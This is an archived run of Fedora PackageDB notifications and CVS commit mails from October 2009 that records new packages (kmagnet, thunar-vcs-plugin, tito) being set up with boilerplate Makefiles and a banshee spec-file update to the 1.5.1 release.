kevin has added a Fedora devel branch for kmagnet with an owner of rrix
kevin has approved kmagnet in Fedora devel
kevin has approved Package kmagnet
kevin has set commit to Approved for 107427 on kmagnet (Fedora devel)
kevin has set checkout to Approved for 107427 on kmagnet (Fedora devel)
kevin has set build to Approved for 107427 on kmagnet (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kmagnet



From pkgdb at fedoraproject.org  Mon Oct 19 15:56:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:56:49 +0000
Subject: [pkgdb] kmagnet summary updated by kevin
Message-ID: <20091019155649.EDEB410F86E@bastion2.fedora.phx.redhat.com>

kevin set package kmagnet summary to A puzzle game with built in editor

To make changes to this package see:
  /pkgdb/packages/name/kmagnet



From pkgdb at fedoraproject.org  Mon Oct 19 15:56:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:56:49 +0000
Subject: [pkgdb] kmagnet (Fedora, 10) updated by kevin
Message-ID: <20091019155650.35A6E10F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for kmagnet
kevin has set commit to Approved for 107427 on kmagnet (Fedora 10)
kevin has set checkout to Approved for 107427 on kmagnet (Fedora 10)
kevin has set build to Approved for 107427 on kmagnet (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kmagnet



From pkgdb at fedoraproject.org  Mon Oct 19 15:56:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:56:49 +0000
Subject: [pkgdb] kmagnet (Fedora, 10) updated by kevin
Message-ID: <20091019155650.3F91310F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for kmagnet
kevin has set commit to Approved for 107427 on kmagnet (Fedora 11)
kevin has set checkout to Approved for 107427 on kmagnet (Fedora 11)
kevin has set build to Approved for 107427 on kmagnet (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kmagnet



From pkgdb at fedoraproject.org  Mon Oct 19 15:56:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:56:49 +0000
Subject: [pkgdb] kmagnet (Fedora, 10) updated by kevin
Message-ID: <20091019155650.4E69610F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for kmagnet
kevin has set commit to Approved for 107427 on kmagnet (Fedora 12)
kevin has set checkout to Approved for 107427 on kmagnet (Fedora 12)
kevin has set build to Approved for 107427 on kmagnet (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kmagnet



From kevin at fedoraproject.org  Mon Oct 19 15:56:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:56:56 +0000 (UTC)
Subject: rpms/kmagnet/devel - New directory
Message-ID: <20091019155656.39C0F11C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kmagnet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12078/rpms/kmagnet/devel

Log Message:
Directory /cvs/pkgs/rpms/kmagnet/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:56:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:56:56 +0000 (UTC)
Subject: rpms/kmagnet - New directory
Message-ID: <20091019155656.171CB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kmagnet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12078/rpms/kmagnet

Log Message:
Directory /cvs/pkgs/rpms/kmagnet added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:57:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:03 +0000 (UTC)
Subject: rpms/kmagnet Makefile,NONE,1.1
Message-ID: <20091019155703.1B7AB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kmagnet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12078/rpms/kmagnet

Added Files:
	Makefile 
Log Message:
Setup of module kmagnet


--- NEW FILE Makefile ---
# Top level Makefile for module kmagnet
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 15:57:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:03 +0000 (UTC)
Subject: rpms/kmagnet/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091019155703.4FACB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/kmagnet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12078/rpms/kmagnet/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module kmagnet


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: kmagnet
# $Id: Makefile,v 1.1 2009/10/19 15:57:03 kevin Exp $
NAME := kmagnet
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:39 +0000
Subject: [pkgdb] thunar-vcs-plugin was added for cwickert
Message-ID: <20091019155739.4E95D10F850@bastion2.fedora.phx.redhat.com>

kevin has added Package thunar-vcs-plugin with summary SVN integration for the Thunar filemanager
kevin has approved Package thunar-vcs-plugin
kevin has added a Fedora devel branch for thunar-vcs-plugin with an owner of cwickert
kevin has approved thunar-vcs-plugin in Fedora devel
kevin has approved Package thunar-vcs-plugin
kevin has set commit to Approved for 107427 on thunar-vcs-plugin (Fedora devel)
kevin has set checkout to Approved for 107427 on thunar-vcs-plugin (Fedora devel)
kevin has set build to Approved for 107427 on thunar-vcs-plugin (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:45 +0000
Subject: [pkgdb] thunar-vcs-plugin summary updated by kevin
Message-ID: <20091019155745.04DFD10F87F@bastion2.fedora.phx.redhat.com>

kevin set package thunar-vcs-plugin summary to SVN integration for the Thunar filemanager

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:45 +0000
Subject: [pkgdb] thunar-vcs-plugin (Fedora, 10) updated by kevin
Message-ID: <20091019155745.1890210F88F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for thunar-vcs-plugin
kevin has set commit to Approved for 107427 on thunar-vcs-plugin (Fedora 11)
kevin has set checkout to Approved for 107427 on thunar-vcs-plugin (Fedora 11)
kevin has set build to Approved for 107427 on thunar-vcs-plugin (Fedora 11)
kevin approved watchbugzilla on thunar-vcs-plugin (Fedora 11) for kevin
kevin approved watchcommits on thunar-vcs-plugin (Fedora 11) for kevin
kevin approved commit on thunar-vcs-plugin (Fedora 11) for kevin
kevin approved build on thunar-vcs-plugin (Fedora 11) for kevin
kevin approved approveacls on thunar-vcs-plugin (Fedora 11) for kevin

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:45 +0000
Subject: [pkgdb] thunar-vcs-plugin (Fedora, 10) updated by kevin
Message-ID: <20091019155745.2EFF810F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for thunar-vcs-plugin
kevin has set commit to Approved for 107427 on thunar-vcs-plugin (Fedora 12)
kevin has set checkout to Approved for 107427 on thunar-vcs-plugin (Fedora 12)
kevin has set build to Approved for 107427 on thunar-vcs-plugin (Fedora 12)
kevin approved watchbugzilla on thunar-vcs-plugin (Fedora 12) for kevin
kevin approved watchcommits on thunar-vcs-plugin (Fedora 12) for kevin
kevin approved commit on thunar-vcs-plugin (Fedora 12) for kevin
kevin approved build on thunar-vcs-plugin (Fedora 12) for kevin
kevin approved approveacls on thunar-vcs-plugin (Fedora 12) for kevin

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:45 +0000
Subject: [pkgdb] thunar-vcs-plugin (Fedora, 10) updated by kevin
Message-ID: <20091019155745.381E710F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for thunar-vcs-plugin
kevin has set commit to Approved for 107427 on thunar-vcs-plugin (Fedora 10)
kevin has set checkout to Approved for 107427 on thunar-vcs-plugin (Fedora 10)
kevin has set build to Approved for 107427 on thunar-vcs-plugin (Fedora 10)
kevin approved watchbugzilla on thunar-vcs-plugin (Fedora 10) for kevin
kevin approved watchcommits on thunar-vcs-plugin (Fedora 10) for kevin
kevin approved commit on thunar-vcs-plugin (Fedora 10) for kevin
kevin approved build on thunar-vcs-plugin (Fedora 10) for kevin
kevin approved approveacls on thunar-vcs-plugin (Fedora 10) for kevin

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From pkgdb at fedoraproject.org  Mon Oct 19 15:57:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:57:45 +0000
Subject: [pkgdb] thunar-vcs-plugin (Fedora, 10) updated by kevin
Message-ID: <20091019155745.42E1610F8B3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on thunar-vcs-plugin (Fedora devel) for kevin
kevin approved watchcommits on thunar-vcs-plugin (Fedora devel) for kevin
kevin approved commit on thunar-vcs-plugin (Fedora devel) for kevin
kevin approved build on thunar-vcs-plugin (Fedora devel) for kevin
kevin approved approveacls on thunar-vcs-plugin (Fedora devel) for kevin

To make changes to this package see:
  /pkgdb/packages/name/thunar-vcs-plugin



From kevin at fedoraproject.org  Mon Oct 19 15:57:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:52 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin - New directory
Message-ID: <20091019155752.18E8A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/thunar-vcs-plugin
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI12526/rpms/thunar-vcs-plugin

Log Message:
Directory /cvs/pkgs/rpms/thunar-vcs-plugin added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:57:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:52 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel - New directory
Message-ID: <20091019155752.4F1EC11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI12526/rpms/thunar-vcs-plugin/devel

Log Message:
Directory /cvs/pkgs/rpms/thunar-vcs-plugin/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:57:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:59 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin Makefile,NONE,1.1
Message-ID: <20091019155759.3564411C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/thunar-vcs-plugin
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI12526/rpms/thunar-vcs-plugin

Added Files:
	Makefile 
Log Message:
Setup of module thunar-vcs-plugin


--- NEW FILE Makefile ---
# Top level Makefile for module thunar-vcs-plugin
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 15:57:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:57:59 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091019155759.929E911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI12526/rpms/thunar-vcs-plugin/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module thunar-vcs-plugin


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: thunar-vcs-plugin
# $Id: Makefile,v 1.1 2009/10/19 15:57:59 kevin Exp $
NAME := thunar-vcs-plugin
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 15:58:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:58:32 +0000
Subject: [pkgdb] tito was added for dgoodwin
Message-ID: <20091019155832.C311310F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package tito with summary A tool for managing rpm based git projects
kevin has approved Package tito
kevin has added a Fedora devel branch for tito with an owner of dgoodwin
kevin has approved tito in Fedora devel
kevin has approved Package tito
kevin has set commit to Approved for 107427 on tito (Fedora devel)
kevin has set checkout to Approved for 107427 on tito (Fedora devel)
kevin has set build to Approved for 107427 on tito (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/tito



From pkgdb at fedoraproject.org  Mon Oct 19 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:58:34 +0000
Subject: [pkgdb] tito summary updated by kevin
Message-ID: <20091019155834.59CE210F88F@bastion2.fedora.phx.redhat.com>

kevin set package tito summary to A tool for managing rpm based git projects

To make changes to this package see:
  /pkgdb/packages/name/tito



From pkgdb at fedoraproject.org  Mon Oct 19 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:58:34 +0000
Subject: [pkgdb] tito (Fedora EPEL, 5) updated by kevin
Message-ID: <20091019155834.5FB9E10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for tito
kevin has set commit to Approved for 107427 on tito (Fedora 11)
kevin has set checkout to Approved for 107427 on tito (Fedora 11)
kevin has set build to Approved for 107427 on tito (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/tito



From pkgdb at fedoraproject.org  Mon Oct 19 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:58:34 +0000
Subject: [pkgdb] tito (Fedora EPEL, 5) updated by kevin
Message-ID: <20091019155834.66E4210F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for tito
kevin has set commit to Approved for 107427 on tito (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on tito (Fedora EPEL 5)
kevin has set build to Approved for 107427 on tito (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/tito



From pkgdb at fedoraproject.org  Mon Oct 19 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 15:58:34 +0000
Subject: [pkgdb] tito (Fedora EPEL, 5) updated by kevin
Message-ID: <20091019155834.7134510F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for tito
kevin has set commit to Approved for 107427 on tito (Fedora 12)
kevin has set checkout to Approved for 107427 on tito (Fedora 12)
kevin has set build to Approved for 107427 on tito (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/tito



From kevin at fedoraproject.org  Mon Oct 19 15:58:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:58:43 +0000 (UTC)
Subject: rpms/tito - New directory
Message-ID: <20091019155843.45DD011C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tito
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU12956/rpms/tito

Log Message:
Directory /cvs/pkgs/rpms/tito added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:58:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:58:43 +0000 (UTC)
Subject: rpms/tito/devel - New directory
Message-ID: <20091019155843.7595011C02A0@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tito/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU12956/rpms/tito/devel

Log Message:
Directory /cvs/pkgs/rpms/tito/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 15:58:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:58:51 +0000 (UTC)
Subject: rpms/tito Makefile,NONE,1.1
Message-ID: <20091019155851.4AC0711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tito
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU12956/rpms/tito

Added Files:
	Makefile 
Log Message:
Setup of module tito


--- NEW FILE Makefile ---
# Top level Makefile for module tito
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 15:58:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 15:58:51 +0000 (UTC)
Subject: rpms/tito/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091019155851.95CFB11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tito/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU12956/rpms/tito/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module tito


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: tito
# $Id: Makefile,v 1.1 2009/10/19 15:58:51 kevin Exp $
NAME := tito
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From salimma at fedoraproject.org  Mon Oct 19 15:58:53 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 15:58:53 +0000 (UTC)
Subject: rpms/banshee/F-12 .cvsignore, 1.28, 1.29 banshee.spec, 1.81,
	1.82 sources, 1.28, 1.29 banshee-make-git-snapshot.sh, 1.1,
	NONE banshee-noconf.patch, 1.1, NONE import.log, 1.4, NONE
Message-ID: <20091019155853.70EDE11C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/banshee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12975/F-12

Modified Files:
	.cvsignore banshee.spec sources 
Removed Files:
	banshee-make-git-snapshot.sh banshee-noconf.patch import.log 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
- Update to final 1.5.1 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	17 Sep 2009 16:28:45 -0000	1.28
+++ .cvsignore	19 Oct 2009 15:58:52 -0000	1.29
@@ -1 +1 @@
-banshee-20090917.tar.bz2
+banshee-1-1.5.1.tar.bz2


Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/banshee.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- banshee.spec	17 Sep 2009 16:28:45 -0000	1.81
+++ banshee.spec	19 Oct 2009 15:58:53 -0000	1.82
@@ -1,34 +1,24 @@
-%define mono_shared %{_builddir}/%{?buildsubdir}
-
-%define gitdate   20090917
-%define gitcommit ba071454ef6eb6022e9eb24bcb9a29f042ddb40f
+%global mono_shared %{_builddir}/%{?buildsubdir}
+%global mainver 1.5.1
 
 Name:    banshee
-Version: 1.5.1
-Release: 0.3.git%{gitdate}%{?dist}
+Version: %{mainver}%{?patchver}
+Release: 1%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
 License: MIT
 URL:     http://banshee-project.org/
-# based on libdrm's make-git-snapshot.sh 
-# sh banshee-make-git-snapshot.sh <gitcommit> <gitdate>
-Source2: %{name}-make-git-snapshot.sh
-Source0: %{name}-%{gitdate}.tar.bz2
+Source0: http://download.banshee-project.org/banshee/stable/%{mainver}/banshee-1-%{version}.tar.bz2
 Source1: README.Fedora
-# for snapshots only: don't run configure at the end of autogen.sh
-Patch0:  %{name}-noconf.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # We only have mono on these arches:
 ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
 
-# Snapshots only
-BuildRequires: autoconf automake libtool
-
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
-BuildRequires: mono-devel >= 1.1.10
+BuildRequires: mono-devel
 BuildRequires: mono-zeroconf-devel >= 0.7.2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
@@ -61,7 +51,8 @@ BuildRequires: boo-devel
 # monotorrent-dbus not in Fedora yet
 
 %if 0%{?fedora} >= 11
-BuildRequires: mono-nunit-devel
+# Building with nunit installed causes banshee to require it at runtime
+#BuildRequires: mono-nunit-devel
 
 #BuildRequires: monotorrent-dbus-devel
 %if %{?fedora} >= 12
@@ -124,13 +115,11 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q -n %{name}-%{gitdate}
-%patch0 -p1 -b .noconf
+%setup -q -n %{name}-1-%{version}
 cp -p %{SOURCE1} .
 
 %build
 export MONO_SHARED_DIR=%mono_shared
-./autogen.sh
 %configure  --disable-docs --enable-mtp --enable-ipod --enable-podcast \
 %ifnarch %ix86 x86_64 sparc
             --disable-boo \
@@ -183,9 +172,9 @@ fi
 
 %files -f %{name}-1.lang
 %defattr(-,root,root,-)
-# ChangeLog not in snapshot
-%doc COPYING AUTHORS README README.Fedora NEWS
+%doc COPYING AUTHORS ChangeLog README README.Fedora NEWS
 %{_bindir}/banshee-1
+%{_bindir}/muinshee
 %exclude %{_libdir}/banshee-1/MusicBrainz.dll*
 %{_libdir}/banshee-1
 %{_datadir}/applications/*.desktop
@@ -213,6 +202,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
+- Update to final 1.5.1 release
+
 * Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-0.3.git20090917%{?dist}
 - Update to latest snapshot
 - Drop clutter10 patch (fixed upstream)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	17 Sep 2009 16:28:45 -0000	1.28
+++ sources	19 Oct 2009 15:58:53 -0000	1.29
@@ -1 +1 @@
-632954b2869b4713466128e219856979  banshee-20090917.tar.bz2
+b24051482dca8b87932db2a1e27ff43f  banshee-1-1.5.1.tar.bz2


--- banshee-make-git-snapshot.sh DELETED ---


--- banshee-noconf.patch DELETED ---


--- import.log DELETED ---



From salimma at fedoraproject.org  Mon Oct 19 15:58:53 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 15:58:53 +0000 (UTC)
Subject: rpms/banshee/devel .cvsignore, 1.28, 1.29 banshee.spec, 1.81,
	1.82 sources, 1.28, 1.29 import.log, 1.4, NONE
Message-ID: <20091019155853.B0E2B11C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/banshee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12975/devel

Modified Files:
	.cvsignore banshee.spec sources 
Removed Files:
	import.log 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
- Update to final 1.5.1 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	17 Sep 2009 16:28:45 -0000	1.28
+++ .cvsignore	19 Oct 2009 15:58:53 -0000	1.29
@@ -1 +1 @@
-banshee-20090917.tar.bz2
+banshee-1-1.5.1.tar.bz2


Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/banshee.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- banshee.spec	17 Sep 2009 16:28:45 -0000	1.81
+++ banshee.spec	19 Oct 2009 15:58:53 -0000	1.82
@@ -1,34 +1,24 @@
-%define mono_shared %{_builddir}/%{?buildsubdir}
-
-%define gitdate   20090917
-%define gitcommit ba071454ef6eb6022e9eb24bcb9a29f042ddb40f
+%global mono_shared %{_builddir}/%{?buildsubdir}
+%global mainver 1.5.1
 
 Name:    banshee
-Version: 1.5.1
-Release: 0.3.git%{gitdate}%{?dist}
+Version: %{mainver}%{?patchver}
+Release: 1%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
 License: MIT
 URL:     http://banshee-project.org/
-# based on libdrm's make-git-snapshot.sh 
-# sh banshee-make-git-snapshot.sh <gitcommit> <gitdate>
-Source2: %{name}-make-git-snapshot.sh
-Source0: %{name}-%{gitdate}.tar.bz2
+Source0: http://download.banshee-project.org/banshee/stable/%{mainver}/banshee-1-%{version}.tar.bz2
 Source1: README.Fedora
-# for snapshots only: don't run configure at the end of autogen.sh
-Patch0:  %{name}-noconf.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # We only have mono on these arches:
 ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
 
-# Snapshots only
-BuildRequires: autoconf automake libtool
-
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
-BuildRequires: mono-devel >= 1.1.10
+BuildRequires: mono-devel
 BuildRequires: mono-zeroconf-devel >= 0.7.2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
@@ -61,7 +51,8 @@ BuildRequires: boo-devel
 # monotorrent-dbus not in Fedora yet
 
 %if 0%{?fedora} >= 11
-BuildRequires: mono-nunit-devel
